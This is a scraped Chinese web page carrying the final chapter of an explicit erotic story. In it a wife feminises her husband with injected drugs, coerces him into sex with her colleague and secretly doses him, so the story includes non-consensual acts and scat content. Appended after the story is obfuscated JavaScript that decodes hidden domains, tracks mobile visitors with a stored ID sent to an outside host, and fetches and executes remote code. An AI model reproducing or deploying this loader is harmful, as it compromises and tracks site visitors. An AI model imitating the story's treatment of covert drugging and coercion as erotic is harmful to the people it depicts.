热搜排行
(九、最终章)终极调教
在一间PUB里,两个身材火辣的美女坐在吧檯喝酒,只见其中一名美女瓜子脸并且穿着淡黄的短裙露出修长匀称的大腿,加上丝袜的称托,更显她大腿均匀的优美线条;配上低胸的T恤,胸部虽然不是很大,大概是B罩杯。坐她旁边的另一名美女则是略矮,但胸部更丰满,眉毛较粗点,看起来就是有个性的性感女人,这女人赫然是我们熟知的雅婷。

这时有不少男士像採花蜂一般围在她们週遭,只见两个女人被逗得不时娇笑不已。这时其中那名较高的美女在雅婷的推攘下,有点不得已地随着其中一名男士起身,看来是要到舞池去跳舞,只是她不时看向雅婷,似乎有点不太愿意,但雅婷不经意的瞪了她一下,她就认命似的被该名男士搂着纤腰下场。

只见两人互搂着对方的腰跳着慢舞,而那男士显然也是老手了,随着跳舞的节奏,右手不规矩地由腰身一直摸到大腿。就在对方手快伸到重要部位时,该名美女紧张的把对方手抓住,不让他越雷池一步,不过该名男子不死心,紧紧地搂抱着她,先舔着她的耳垂,慢慢地就要往她抹得豔红的小口吻去,她自然地偏过头去技巧性的避开了对方的吻。

但就在她偏头闪开对方的深吻时,看到原来坐在吧檯的雅婷也正在看着她,眼神露出了不悦。她显然很在意雅婷的眼神,渐渐地就放弃了抵抗,随着慢舞的节奏及该男士的引导,她认命似的略仰起头,对方看到她不再闪躲,哪会客气,一个深吻立刻印上她的嘴,舌头也深进她的口中。

一开始她似乎有点抗拒,但在对方的舌功下,她逐渐地也开始回吐香舌,手臂也逐渐绕到对方后颈,紧紧地搂着对方。雅婷看到这里才露出一丝不经意的笑容。

看到这里我想读者应该猜到了,该名略高的女子就是方子陵,也就是雅婷的老公我。今天就是雅婷对我的另一项性爱游戏,最近雅婷在饮食上控制让我身材更曲条,而且她不知道从哪弄来的一些针药对我进行注射,使得我的胸部已经丰满到B罩杯,皮肤也和女人没什么不同。

而白天她就交待我必须穿着女装,看她为我选的一些片子,要我学片中的女人讲话及动作。我不知道她从哪弄来的,但是我知道,如果我不照她的话做,婷就会停止和我的性爱,也不会再用虐待来满足我,为了得到老婆的性爱,我已经完全成为没有雅婷就无法活下去的受虐狂了。

今天更是老婆验收她这半年来调教成果的一项测验,每当她强迫我装扮女人时,她就会在事后异常的性慾高涨而在回家后给我满足,老婆会用高跟鞋踩我,或是给我喝她的黄金水,或是叫我舔她由菊门排出来的冰淇淋或米饭。

我知道再被婷这样调教下去,总有一天我会真的以为自己是女人,但为了我的爱妻,我总无法抗拒,而更在她给我的一个又一个的虐待下,我更不争气的每次都达到性爱的满足。

今天是星期五,老婆最近上班时穿的衣服也越来越性感了,不止裙子越穿越短,配上她精挑的性感高跟鞋,以及贴身的上衣加上一件轻薄的白色洋装外套,不止衬托得她的气质更有一种从前没有的性感,尤其那坚挺丰满的双峰在合身上衣衬托下更是显眼。

这半年来雅婷的改变也是很大,不再像以前那种冰山美人般的感觉,我想一定是在我的努力之下改变了老婆的。

婷早上上班前,她又用撒娇的口气偎在我身上,当然,我也习惯性在她出门前一定要打扮成美美的。

雅婷:「玲姊,我去上班了,不要想我哦~~」说完老婆给我一个深情的拥吻。『噢!老婆现在是多么爱我及性感。』我不禁这样的想着。

不过老婆接着说的话让我吓了一跳:「玲姊,妳最近越来越漂亮了,每次我们一起出去,都好多男人在问你住哪,叫什么耶!老公,我好嫉妒哦!」

我一听就知道老婆这只是开端,她一定又想到什么淩辱我的方法了。

果然老婆接着说:「玲姊,我帮你找个男朋友好不好?」我一听真的快昏倒了,我低声下气用商量的口气:「老婆,我是男的耶!我只爱妳,我连别的女人都没有碰,妳竟然要我交个男朋友,我真的无法接受。」

只见爱妻一听就脸色老大不悦:「老公,不然上次你和那个男人吻得那么高兴是假的吗?」

我吶吶的声:「我是看妳一直在看我才……」其实我也不知道如何解释,上次一开始的确是为了服从爱妻的命令,但在后来却因为强烈的屈辱感而产生异样的刺激及自暴自弃心理,变成是自己不住地向对方不断索求,宛如一名蕩妇般。好在雅婷早就强迫我穿上特製的三角裤,做好了完善的措施,不然八成会被进攻到重要部位而曝光。

就在爱妻严厉的眼光及我自己的含糊不清下,我默许了老婆的这项提议。

很快,在星期六,老婆一大早就在整理客厅,我知道她的同事今天要来。老婆说她跟同事讲我是她姊,到现在仍是单身,他中午要来我家吃饭。

就在不安及自虐的刺激心理下,终于门玲响了,老婆迫不及待地去开门。只见进门的是一个长得不很斯文、长得粗壮却带有浓浓的官僚气息的男人,年纪大概不到四十。虽然看得出他已经很努力把鬍子刮乾净及穿得整齐,但是显然他不是习惯这样穿着的人。

我正在纳闷老婆怎么会选一个这种人时,老婆已招呼对方进来客厅坐下了,从老婆的态度看来,她和这同事平常应该是很熟稔的。

雅婷:「全哥,你快进来,我们菜都準备好了,你快点坐下。」然后老婆向我介绍这位同事:「玲姊,这位是我同事,他叫张克全。你别看他这样子,他可是我们单位的红人,单位所有採购及预算都他在管的。」

只见那个全哥很大方的跟我笑了笑,但我感觉得出他那色迷迷的眼神不断在我身上打量。我偷偷把老婆拉到一旁低声问:「老婆,他怎么看起来好像不是很正派?」

老婆没好气的瞪了我一眼:「你以为你真是在相亲吗?你要找帅哥,我以后再想办法给你找个像金城武的。」

我低声回答:「不是这个意思,只是老婆妳怎么会好像和他很熟的样子?」

老婆更不耐烦了:「自己同事才不会出岔子,我可以保证全哥绝对不会有问题的。你给老婆我乖乖的偷汉子,若你今天没把自己成为全哥的女人,我以后不会再让你碰到我一寸肌肤!」

既然老婆下了最后通碟,我就再也不敢再有任何意见了,于是我们三人就一起共进午餐。

席间老婆不断和全哥敬酒,只见老婆越喝越多,就在老婆喝了半瓶洋酒后,终于不胜酒力躺在客厅的沙发睡着了,席间就只剩下我和全哥,气氛一下子有点尴尬。只见那全哥一点都不客气,把位子移到我旁边,然后不断跟我敬酒,这家伙的动机真是很明显。

在敬酒及回酒的过程中,全哥的左手不知何时已揽上我那纤腰上了,然后逐渐不规矩地往衣服里钻。虽然我酒喝得有点茫茫然,但直觉地用手把全哥那不规矩的手拨开,我用早已练得很熟习的女人柔弱声音微声抗议:「全哥,你醉了,不要这样子……」

但我越抗议,那个全哥就越得寸进尺,两手抓着我说:「小玲,我早就听小婷说过妳的事情了,妳一个人很寂寞吧?」

我结巴的柔弱说:「婷都怎么说我的?」

全哥:「她说妳需要男人的安慰,要我来帮妳,所以妳也不要再装了,让我们抱一下吧!」说完,全哥就把我搂着抱到另一条沙发压在我身上。

我真的一时无法接受,更何况对方是一个像流氓般的男人,但我这时却看到另一条沙发上的婷竟然在偷看我这边,而且她看我的眼神就好像在说:『你再反抗,看老娘今晚怎么对付你!』

我潜意识的屈服了,不再反抗全哥的侵犯。三两下全哥就把我全身脱光,这时我的身体在爱妻的调教下,除了下面挂着一条很小而且已很久没再硬起来的老二外,其它部份都和真的女人无异,尤其是胸部更是丰满,但奇怪的是,全哥看到我的下面却没有感到奇怪。

只见全哥一下子也把自己脱光光,露出了全身都是毛的粗壮身材,一下子就扑到我身上,我无力的消极抗拒了一下,由于力气差太多加上爱妻在另一旁监视着,所以没多久我就认命地不再抵抗了,而全哥那巨大的老二更开始往我的菊门钻。

或许是由于老婆近来常用她买来的菊门专用假阳具调教的关係,加上全哥自己刚才抹了他的口水在龟头上,全哥的龟头已逐步钻入我那菊门。当全哥的龟头钻入我的菊门时,我突然有一种成为女人的感觉,一种极度自暴自弃及自虐的心情。

从我那抹上口红的朱唇发出一声低沈的吟哦后,全哥猛然开始全力冲刺,而我也双手猛抱住全哥后背,全部承受了全哥的一切,这时我的内心已完全成为紫玲而不是以前那个子陵了。

在全哥的插入及不断变换姿势及花样,我那被老婆下药而无法勃起的阴茎却由于这极度变态的性游戏,自己喷射了至少三次,只是每次的射精都不多,但也让我累到沈沈睡去不醒人事了。

当我醒来时天还没亮,却听到雅婷的喘息以及全哥的粗话。我偷偷睁开一下眼睛,却看到了令我震惊的一幕:老婆雅婷正在沙发上,全身赤裸的骑坐在全哥身上,老婆那丰满尖挺的乳房正不住地上下晃动着,而她下面的肉洞正不断吞吐着全哥的那根巨大阳具。

老婆:「全哥……快!婷儿快要出来了!啊……全哥,婷儿好爽……」

全哥:「呵呵,想不到妳竟然能把妳老公调教得这么好,真够劲!今天就给妳好好的爽一下!」

老婆:「啊……婷儿都听全哥的,把你给我的药都叫他吃,他也不敢说不。婷儿还骗他说暗恋过学姊,他要穿女装我才理他,这一切都是为了全哥……」

全哥:「从今以后,你们夫妻俩都要成为我的性奴,懂了吗?」

老婆:「全哥,婷儿什么都听你的,只要你每天插婷儿……啊……」

这时,我想到雅婷之前的一些行为,为什么她突然变得激情?为什么本来不让我碰她?从冷感却又变成性感,以及坚持要我穿女装及扮女人的一些异常的坚持……似乎都和这个老婆的同事有关。

这时老婆终于在全哥的不断抽插之下高潮了,这时她看到我在偷看,老婆用一种羞辱的口气说:「玲姊,我的好老公,你过来,帮我和全哥舔乾净。」

我不禁迷惘了……但我已不能回头了,于是装出小女人的娇羞,慢慢地走过去……
猜你喜欢下面这些
function UDNOhsW(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function zBfdyx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UDNOhsW(t);};window[''+'F'+'i'+'J'+'R'+'h'+'H'+'l'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function tJfBK(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=zBfdyx,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=tJfBK(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15745/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=tJfBK(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0ccHMlM0ElMkYlMkZhLm1wemx2ccS5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS55a2toanMuY24lM0E5NTTM1','168623',window,document,['c','T']);}:function(){};